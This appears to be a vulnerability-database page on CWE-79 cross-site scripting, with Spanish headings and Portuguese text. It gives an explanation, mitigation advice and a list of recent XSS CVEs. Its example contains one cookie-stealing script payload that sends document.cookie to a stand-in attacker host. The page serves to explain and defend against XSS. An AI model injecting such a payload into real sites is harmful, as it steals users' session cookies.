Fallos del tipo CWE-79

30.259 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-8562MEDIUMSourceCodester PHP CRUD Add.php cross site scriptingEPSS 0.3%CVE-2025-23525HIGHWordPress Kv Compose Email From Dashboard plugin <= 1.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-33985HIGHCross-Site Scripting (XSS) vulnerability in Janobe productsEPSS 0.3%CVE-2024-2861MEDIUMProfilePress <= 4.15.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via ProfilePress User Panel WidgetEPSS 0.3%CVE-2026-32940CRITICALSiYuan has a SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)EPSS 0.3%CVE-2025-23786HIGHWordPress Email to Download Plugin <= 3.1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2023-52068MEDIUMkodbox v1.43 was discovered to contain a cross-site scripting (XSS) vulnerability via the operation and login logs.EPSS 0.3%CVE-2026-111574HIGHRedirection for Contact Form 7 2.2.7 - 3.2.11 - Unauthenticated Stored XSS via Lead Debug MetaboxEPSS 0.3%CVE-2025-23646HIGHWordPress Library Instruction Recorder plugin <= 1.1.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-47094MEDIUMAdobe Experience Manager | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.3%CVE-2026-3951MEDIUMLockerProject Locker Error Response registry.js authIsAwesome cross site scriptingEPSS 0.3%CVE-2024-40700MEDIUMIBM Security Verify Access cross-site scriptingEPSS 0.3%CVE-2024-33986HIGHCross-Site Scripting (XSS) vulnerability in Janobe productsEPSS 0.3%CVE-2025-23748HIGHWordPress Singsys -Awesome Gallery plugin <= 1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2023-25364MEDIUMOpswat Metadefender Core before 5.2.1 does not properly defend against potential HTML injection and XSS attacks.EPSS 0.3%CVE-2024-43276HIGHWordPress Child Theme Creator by Orbisius plugin <= 1.5.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-103888MEDIUMWPC Smart Quick View for WooCommerce <= 4.4.0 - Reflected Cross-Site Scripting via 'woosq-redirect' ParameterEPSS 0.3%CVE-2024-37245HIGHWordPress All In One Redirection plugin <= 2.2.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-23920HIGHWordPress ApplicantPro Plugin <= 1.3.9 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-44053HIGHWordPress Opor Ayam theme <= 1.8 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%